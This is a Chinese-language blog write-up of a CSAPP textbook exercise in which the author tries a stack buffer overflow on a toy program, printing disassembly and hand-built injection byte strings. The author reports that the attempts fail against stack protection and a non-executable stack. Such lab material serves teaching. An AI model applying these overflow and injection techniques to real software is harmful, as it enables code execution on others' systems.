《深入理解電腦系統》練習3.38,要求對提供的一個程式進行緩衝區溢位攻擊。這裡給出自己解題過程。這個程式在不做修改的情況下,在windows平台是無法編譯的。所以以下練習基於Ubuntu 11.04 + GCC 4.5.2
要求是:讓這個一直輸出1的程式輸出-559038737(deadbeef)。
目標就是要溢出getbuf這個函數,就把把getbuf這個函數內的執行權拿到,但在運行完我們指定的代碼之後,我們還是要讓這個函數返回到他本來就應該返回的地方的。查看test的彙編代碼。
08048597 <test>:
8048597: 55 push %ebp
8048598: 89 e5 mov %esp,%ebp
804859a: 83 ec 28 sub $0x28,%esp
804859d: b8 e0 86 04 08 mov $0x80486e0,%eax
80485a2: 89 04 24 mov %eax,(%esp)
80485a5: e8 12 fe ff ff call 80483bc <printf@plt>
80485aa: e8 b4 ff ff ff call 8048563 <getbuf>
80485af: 89 45 f4 mov %eax,-0xc(%ebp)
80485b2: b8 f1 86 04 08 mov $0x80486f1,%eax
80485b7: 8b 55 f4 mov -0xc(%ebp),%edx
80485ba: 89 54 24 04 mov %edx,0x4(%esp)
80485be: 89 04 24 mov %eax,(%esp)
80485c1: e8 f6 fd ff ff call 80483bc <printf@plt>
80485c6: c9 leave
80485c7: c3 ret
黃色高亮的就是getbuf返回時,本應該返回到的地址。當然,也可以返回到其它的地方去。
我們來驗證一下,運行程式,並在getbuf這個函數上加斷點,%ebp的值是0xbfffefa8,我們在這個記憶體的前面,即0xbfffefac這裡,可以看到getbuf的返回地址是080485AF。它前面儲存的棧底也要記下來,是0xbfffefd8。這兩個是在我們構建返回點時要用到的。
再來看getbuf這個函數。
int getbuf()
{
char buf[12];
getxs(buf);
return 1;
}
申請了12位元組的記憶體,所以輸入的前12位元組隨便是什麼都可以。但是這並不意味著13字元開始就覆蓋到了不應該覆蓋到的記憶體。還要覆蓋到getxs函數的返回地址。覆蓋的這個地址才是要計算的。我們來看反組譯碼出來的代碼。
08048563 <getbuf>:
8048563: 55 push %ebp
8048564: 89 e5 mov %esp,%ebp
8048566: 83 ec 28 sub $0x28,%esp
8048569: 65 a1 14 00 00 00 mov %gs:0x14,%eax
804856f: 89 45 f4 mov %eax,-0xc(%ebp)
8048572: 31 c0 xor %eax,%eax
8048574: 8d 45 e8 lea -0x18(%ebp),%eax
8048577: 89 04 24 mov %eax,(%esp)
804857a: e8 15 ff ff ff call 8048494 <getxs>
804857f: b8 01 00 00 00 mov $0x1,%eax
8048584: 8b 55 f4 mov -0xc(%ebp),%edx
8048587: 65 33 15 14 00 00 00 xor %gs:0x14,%edx
804858e: 74 05 je 8048595 <getbuf+0x32>
8048590: e8 37 fe ff ff call 80483cc <__stack_chk_fail@plt>
8048595: c9 leave
8048596: c3 ret
現在%ebp的值是0xbfffefa8,而在call getxs前,lea -0x18(%ebp),%eax,這裡分配的起始地址是0xbffef90,這個就是buf的地址。這個地址在當前%esp之前,所以getxt溢出這個buf,並不能改定到getxt本身的返回地址。而只能改寫getbuf的返回地址。這個地址的位址,在前面說了,是在0xbfffefac這個地方,所以我們要改寫到這個地區的資料。所以,我們要改的記憶體地區是從0xbfffef90~0xbfffefaf這32個位元組的記憶體。當然你寫可以改定後面所有的記憶體,這樣你就可以想幹什麼就幹什麼了,但是我們現在是要完成這個題目。所以後面要做的還是要做的。
所以我們希望可以讓程式返回到0xbfffef90這個地方執行我們自己的代碼。要執行的代碼也很簡單,就一行
movl $0xdeadbeef, %eax
這個代碼在上面的樣本中已經有類似代碼了。所以可以知道這個代碼的二進位表示是:
b8 ef be ad de
我的環境是Ubuntu,所以用的是小端法。然後就可以返回了。返回的代碼上面也有。就是
c9 c3
這個返回的地址,應該就是getbuf原來的返回地址:0x080485AF了。但是leave和call都會造成%esp的變化,一個想法就是,我們可以不leave,直接return。這樣我們就要當前(調用getbuf時)%ebp所指向就是正確的返回地址。但是這時%ebp所指向的地址0xbfffefd8已經很遠了。這有太多東西要輸入了。
所以換個思路,不ret了,直接jmp! 直接Jmp的話,我們直接跳到為print準備參數那行(0x080485be)就好了。嘿嘿。代碼就是。
ff 25 be 85 04 08
所以前面的11個位元組就是
b8 ef be ad de ff 25 be 85 04 08
中間 32 - 11 - 8 = 13個位元組隨意。
然後是d8 ef ff bf 90 ef ff bf
b8 ef be ad de ff 25 be 85 04 08 00 00 00 00 00 00 00 00 00 00 00 00 00 d8 ef ff bf 90 ef ff bf
好了,我們試一下,結果發現失敗了。單步一下,發現是__stack_chk_fail。現在的編譯器啊。唉,就給我們找事兒。我臨時手工改了下%eip的值跳過了這一步,繼續。
結果在運行到 RET語句的時候,得到的又是一個錯誤框
對於這個SIGSEGV,解釋是:
SIGSEGV --- Segment Fault. The possible cases of your encountering this error are:
1.buffer overflow --- usually caused by a pointer reference out of range.
2.stack overflow --- please keep in mind that the default stack size is 8192K.
3.illegal file access --- file operations are forbidden on our judge system.
想了一下,這個時候,%esp的值是0xbfffefac,而我們要跳轉到0xbfffef90。這個地址是在棧頂之外。可能就是stack overflow的原因?
那再試下把要啟動並執行代碼向後放。前11個也隨意。
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d8 ef ff bf b0 ef ff bf b8 ef be ad de ff 25 be 85 04 08
結果還是一樣的Error看來不是這個問題。於是我怒了,直接把%eip的值改成了0xbeffefb0以繞過ret。然後運行還是同樣的錯誤。這個時候,我就開始懷疑這不是攻擊代碼的問題了,而是作業系統本身不允許在資料頁上運行代碼。此一時,彼一時啊。那個時候的OS比較溫順?
然後Google了一下,發現也有人遇到了同樣的問題。還看到一個很噁心的做法。就是直接把getbuff函數return到print函數上。其實這樣做對於攻擊而且沒有太大的意義。因為這樣只能調用程式中已經有的代碼,只是給它編一個參數而已。並沒有運行自己編寫的代碼。
看來還是只能繞過安全機制才行。不過今天已經晚了,明天有空再來研究如果能繞過這個安全機制吧。
更新:
今天找到了最後出異常的解釋。結論就是這種弱智的Buff Overflow攻擊在現代作業系統中,已經不能做為有效攻擊手段了。
這裡還有一群人討論出來的各種解法。